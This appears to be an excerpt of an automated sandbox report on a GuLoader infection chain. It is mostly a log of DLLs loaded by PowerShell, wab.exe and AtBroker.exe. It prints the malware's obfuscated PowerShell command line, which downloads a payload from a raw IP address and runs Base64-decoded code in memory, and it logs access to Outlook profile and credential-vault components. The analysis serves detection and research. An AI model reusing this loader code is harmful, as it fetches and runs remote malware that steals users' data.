Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: ieframe.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wkscli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: mlang.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winsqlite3.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: vaultcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: dpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Program Files (x86)\NUuNNtrNamWTxkqzzGqVNSTAqlxtUxNEqmhzWeZQfrPwVAb\VkpUSAfAICCLXDmxnjqGHDByu.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: actxprxy.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptdlg.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msoert2.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wininet.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msftedit.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{06290BD0-48AA-11D2-8432-006008C3FBFC}\InprocServer32 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe File opened: C:\Windows\SysWOW64\msftedit.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: .Core.pdb's source: powershell.exe, 00000005.00000002.2397711658.0000000006F9C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227629846.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000002.3227696183.0000000000D9E000.00000002.00000001.01000000.00000007.sdmp
Source: Binary string: ATBroker.pdb source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdbUGP source: wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, wab.exe, 00000009.00000002.2704809577.0000000020700000.00000040.00001000.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2594338552.000000002054D000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000003.2592344262.0000000020393000.00000004.00000020.00020000.00000000.sdmp, wab.exe, 00000009.00000002.2704809577.000000002089E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004C5E000.00000040.00001000.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2687837024.0000000004911000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000003.2685817873.0000000004764000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228252377.0000000004AC0000.00000040.00001000.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2387846679.0000000000A1D000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb52 source: powershell.exe, 00000005.00000002.2387846679.0000000000A7C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: ATBroker.pdbGCTL source: wab.exe, 00000009.00000003.2654569627.0000000004B7A000.00000004.00000020.00020000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000B.00000002.3227345383.0000000000A88000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdbk source: powershell.exe, 00000005.00000002.2397711658.0000000006F1B000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wab.pdbGCTL source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp
Source: Binary string: wab.pdb source: AtBroker.exe, 0000000C.00000002.3227176757.0000000002C6A000.00000004.00000020.00020000.00000000.sdmp, AtBroker.exe, 0000000C.00000002.3228649501.00000000050EC000.00000004.10000000.00040000.00000000.sdmp, VkpUSAfAICCLXDmxnjqGHDByu.exe, 0000000D.00000000.2756945908.0000000002D1C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000011.00000002.2991777439.0000000027D6C000.00000004.80000000.00040000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: ShellExecute("PowerShell.exe", ""$Offence = 1;$Rabbitriesnterimsstyre='", "", "", "0");
Yara detected GuLoader
Source: Yara match File source: 00000005.00000002.2407323813.0000000008C08000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2407168182.0000000008350000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.2391197450.0000000005962000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.2529825040.000001AE40151000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Firelocks)$global:Verbigerating = [System.Text.Encoding]::ASCII.GetString($Litteraturlisten14)$global:Karriererne158=$Verbigerating.substring(336394,25080)<#Massedness Stowing restau
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Jeannys $Programmable $Teaktrslisterne), (Natriumets @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Mispoints = [AppDomain]::CurrentDomain.GetAssemblies()
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Skjules)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Tipvognstoge, $false).DefineType($Paaskn, $Predat
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Firelocks)$global:Verbigerating = [System.Text.Encoding]::ASCII.GetString($Litteraturlisten14)$global:Karriererne158=$Verbigerating.substring(336394,25080)<#Massedness Stowing restau
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. cbhBm ';$Trlbundnes=adskilligt ' >M ';$milleardtedele=adskilligt 'TiUe.x ';$Phillipeener = adskilligt ' eScSh oS R%HaUp pEd ast aL%,\ B.aBl lHe pNrAeUsFs e r.e.s,. IfnNe K&E&M We.cAhSok .$ ';Apalachicola (adskilligt ' $MgRlFoUb aKl :MGMeBrCmKiEf.uUgBe.= (,cTmHdV /HcE .$UP hTiUl.lPiUpPe eSn.eDrA), ');Apalachicola (adskilligt 's$,g l,o b aKlv:IBAaFrFrFa m uTnMdpaZsP= $ D i sNcUr eVd iFtS.TsLpSlDiTtU( $,T.r lFb,uEn dQn eNs )S ');$Discredit=$Barramundas[0];Apalachicola (adskilligt 'p$ gEl.oKbTaNlF: o,vUerr gBe nKe.r a.l i z iUnRg =,N,eSw -.O b jTe cUtP .SFyus.tBevmD. N eEtG.sWBeFbOC.lKi eSnFt ');Apalachicola (adskilligt 'W$ o.v e.rLgMeMn.eUrJaGlDiPz iPn gP. H eNaGdAe,rDsA[ $PGEo d sPtAe.r,mBiMnUa lje,r sA]T=U$.F o.l kSeRd e,mGoOkFrPa tPi ');$Lordlily=adskilligt 'DoRv eArHgueRn.eSrKaSl iDzPiGn g .,DSoTwFn,l.oBaRd F iSlHeP( $ D i,sBc rSe.dHittK,I$,O z,oPn.iTc,), ';$Lordlily=$Germifuge[1]+$Lordlily;$Ozonic=$Germifuge[0];Apalachicola (adskilligt 'n$,g.l oSb a.la:Rf,eTrKsTk vLa n d,e n,eB=C(,T eVsSt -WPEa tIh $MO z,oEn,iWc ) ');while (!$ferskvandene) {Apalachicola (adskilligt ' $ g lVo bOaHl :FcRoum.p l e,m e,nAt eIr.= $ tJr u eB ') ;Apalachicola $Lordlily;Apalachicola (adskilligt ' S.t a,rRtM- SDlLeNe.p 4T ');Apalachicola (adskilligt ' $Fg l,o b a l :Ff,e r sTkAv a nOd.eTn e,= (TTSe.s t -LPTaLtHh C$SO zBo.nIiOcA) ') ;Apalachicola (adskilligt 'U$ g l o bHaKl : E n eMr,vSeTrTeS=R$BgSl oBb.a.lH:FT eOr m o m eMtEr.e.n.eF+,+ % $ BPa r r a m uBnAdNa s .ScKoBuCn ts ') ;$Discredit=$Barramundas[$Enervere];}Apalachicola (adskilligt 'u$SgOlWo,bCaNl : FTiTrTeFlTo c kLs ,=. UG eTtT-OC,o nRtle,nAt $FO,z o.nEiIcA ');Apalachicola (adskilligt ',$Cg l oAbpaClP: LHiPt tPe rHa t uMrIl i.s t e nE1U4N M=D [.S.y.s.tKe mr.,CIo,nTv e r,t,]F:D: F rAo.m.B a.sSeB6T4,SEt rSiSn g,( $MF iGrRePlio cSk sM)N ');Apalachicola (adskilligt 'G$Jg,lLoGbDaTl :sV eEr b iBg eVr a tHi n.gB B=A [RSWyEs.t e,ms. TLefx tC. EKn cNoOdEitnMg ],:K:KA SPC IUIT. G,eCt S tNrmi nPg (U$ LAiGtEt e rvaEt uMrRl i.sTt e ne1B4.)S ');Apalachicola (adskilligt 'N$.g.lMoVboaSl.: Kta r r i e r e.r nDeS1 5 8S= $OV eRrPbAi g e,r aQt,i,nHgN. sBuRb sHtMr iPnRgL( 3 3B6T3 9 4,,.2B5
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Offence = 1;$Rabbitriesnterimsstyre='Substrin';$Rabbitriesnterimsstyre+='g';Function adskilligt($Tegnedatabasen){$Bejig=$Tegnedatabasen.Length-$Offence;For($Rabbitries=1; $Rabbitries -lt $Bejig; $Rabbitries+=(2)){$Foundlings+=$Tegnedatabasen.$Rabbitriesnterimsstyre.Invoke($Rabbitries, $Offence);}$Foundlings;}function Apalachicola($Specieskbenes){&($milleardtedele) ($Specieskbenes);}$Folkedemokrati=adskilligt 'IMHoAzAi.l l,aO/ 5 .T0W S(,W,iUn,dgoBw,sH SNDTe .1H0P.G0,; RWPi nN6R4 ;N xM6T4K;, CrUv :R1M2G1 . 0C) BGVe,cEkBo,/,2 0,1,0 0E1L0 1, LFUiTr.enfko,xs/ 1A2U1Y.,0L ';$Godsterminalers=adskilligt 'hUPsMe rT-.AAgUe,n tG ';$Discredit=adskilligt 'Ghtt tJp :M/,/.8,7F. 1.2,1..U1 0 5S.M1A6P3C/ AKc a riiFa,t,r eA4S3,. 